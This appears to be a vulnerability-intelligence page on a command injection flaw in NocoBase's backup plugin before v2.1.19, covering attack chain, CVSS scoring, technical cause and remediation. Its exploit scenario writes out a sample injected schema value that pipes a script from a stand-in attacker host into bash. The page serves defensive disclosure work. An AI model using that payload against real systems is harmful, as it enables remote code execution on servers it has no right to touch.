Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain or compromise backup management account
-
DeliveryCraft backup archive with malicious database.schema in _metadata.json
-
ExploitUpload crafted archive to NocoBase instance
-
ExecutionTrigger backup restore operation via plugin UI
-
PersistServer interpolates schema value into exec() shell string
-
ImpactExecute arbitrary OS commands as NocoBase server process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The @nocobase/plugin-backups plugin must be installed and enabled, and the NocoBase instance must use a PostgreSQL backend - the injection occurs specifically in the PostgreSQL backup restore code path and does not affect other database types. The attacker must hold a NocoBase account with backup management (restore) permissions, corresponding to PR:H in the CVSS vector; standard unprivileged user accounts cannot initiate restore operations. The attacker must also be able to supply a crafted backup archive containing the malicious _metadata.json - either by creating one locally or by having write access to the backup storage location. Limiting factors: the PR:H prerequisite rules out unauthenticated exploitation and limits exposure to insider threat or credential-compromise scenarios; the PostgreSQL requirement limits scope to a subset of deployments; non-default plugin installation is required. |
| Impact | CVSS 3.1 scores this at 6.7 (Medium) with vector AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:H. The PR:H metric is the primary risk dampener - exploitation requires control of a backup management account, excluding opportunistic unauthenticated attackers. Attack complexity is low once credentials are obtained: no race conditions, special timing, or environmental prerequisites exist beyond the privilege requirement. The C:L rating in the vendor-provided vector is arguably conservative; arbitrary OS command execution as the server process typically implies full confidentiality loss (access to environment variables, config files, database credentials), which is why this analysis independently assesses C:H. No EPSS data was provided in the input - this cannot be stated. Not listed in CISA KEV and no public POC identified at time of analysis, meaning real-world exploitation has not been publicly observed. The realistic threat model is insider threat (a user with backup management rights acting maliciously), compromised credentials, or use of this vulnerability as a post-exploitation step after gaining a lower-privileged NocoBase account through other means. This is a real priority for any NocoBase deployment using PostgreSQL that has multiple users with backup management permissions. |
| Exploit ScenarioDerived | An attacker who holds (or has compromised) a NocoBase backup management account crafts a backup archive whose _metadata.json contains a malicious database.schema value such as public; curl http://attacker.example/shell.sh | bash #. The attacker uploads the archive and initiates a restore operation via the NocoBase UI. The server reads the schema value and interpolates it into an exec() shell command string without sanitization, causing the injected command to execute as the NocoBase server process - potentially establishing a reverse shell or exfiltrating database credentials. No public POC has been identified at time of analysis, but the mechanism is well-understood and the backup format is documented. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 15, 2026
Command injection in NocoBase's @nocobase/plugin-backups prior to v2.1.19 allows an authenticated backup-management user to execute arbitrary OS commands as the NocoBase server process by restoring a crafted backup archive. The database.schema field from a backup's _metadata.json is interpolated directly into a shell command string passed to Node.js child_process.exec(), a classic CWE-78 pattern that bypasses any sanitization at the shell level. No active exploitation confirmed (not in CISA KEV) and no public exploit identified at time of analysis, but the commit diff confirms the mechanism is straightforward and the fix is available in v2.1.19.
RemediationAI
Upgrade to NocoBase v2.1.19 or later, which resolves this vulnerability by replacing child_process.exec() with child_process.spawn() (discrete argument array form) in the backup plugin's PostgreSQL restore path, confirmed by commit 0e1aba1b7b112ffc841588963f7343c00edd9806. The release is available at https://github.com/nocobase/nocobase/releases/tag/v2.1.19 and the advisory is at https://github.com/nocobase/nocobase/security/advisories/GHSA-p853-83gj-wjj3. If immediate upgrade is not possible, disable the @nocobase/plugin-backups plugin entirely - this eliminates the attack surface with the trade-off of losing all backup and restore functionality. As an additional compensating control, restrict the backup management role to the minimum number of trusted accounts and audit who holds that privilege, since exploitation requires that specific role. Never restore backup archives from untrusted or externally supplied sources regardless of patch status.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the NocoBase backup plugin (@nocobase/plugin-backups), which uses Node.js child_process.exec() to invoke PostgreSQL utilities (pg_dump/pg_restore) during backup and restore operations. The exec() API passes its first argument as a full shell command string to /bin/sh, making it inherently susceptible to shell metacharacter injection when any part of the command is derived from untrusted input. The database.schema value read from _metadata.json inside the backup archive is controlled by whoever created the archive - an attacker can embed shell metacharacters (e.g., '; malicious_command #') to break out of the intended command context. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the root cause class. The fix migrates to child_process.spawn() with discrete argument arrays, which bypasses the shell entirely and is the canonical Node.js remediation for this class. CPE: cpe:2.3:a:nocobase:nocobase:*:*:*:*:*:*:*:* (all versions prior to 2.1.19, PostgreSQL backend). The vulnerability does not affect non-PostgreSQL database backends as the injection is in the PostgreSQL-specific restore path.
Know when Nocobase gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:H
RCE as server process yields full confidentiality loss (C:H not C:L); all other metrics align with the description and PR:H requirement.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.1.19, NocoBase @nocobase/plugin-backups restored PostgreSQL backups by interpolating the database.schema value from _metadata.json into shell command strings executed with Node.js child_process.exec(), allowing a backup-management user restoring a crafted backup to execute commands as the NocoBase server process. This vulnerability is fixed in 2.1.19.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
SQL injection in NocoBase's core @nocobase/database package affects versions before 2.0.39 and lets an authenticated use
SQL injection in NocoBase's @nocobase/plugin-notification-in-app-message (before 2.0.61) lets any signed-up authenticate
SQL injection in NocoBase v2.1.21 lets an attacker reach the SQL handling path behind the checkSQL function and submit c
Sandbox escape in NocoBase's plugin-workflow-javascript (all 2.0.x releases through 2.0.23) originates from a defective
Server-side request forgery in NocoBase through v2.1.20 allows authenticated administrators to issue arbitrary outbound
SQL injection in NocoBase's @nocobase/plugin-collection-sql through 2.2.28 allows an authenticated user with the collect
PostgreSQL password hash disclosure in NocoBase 2.0.59 and earlier allows an authenticated administrator to extract pg_s
Server-side request forgery in NocoBase v2.1.21 lets an authenticated, low-privilege user drive the server's serverReque
Server-side request forgery in NocoBase 2.1.0 through 2.1.14 lets any authenticated low-privileged member override the t
EUVD-2026-44804
GHSA-p853-83gj-wjj3
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB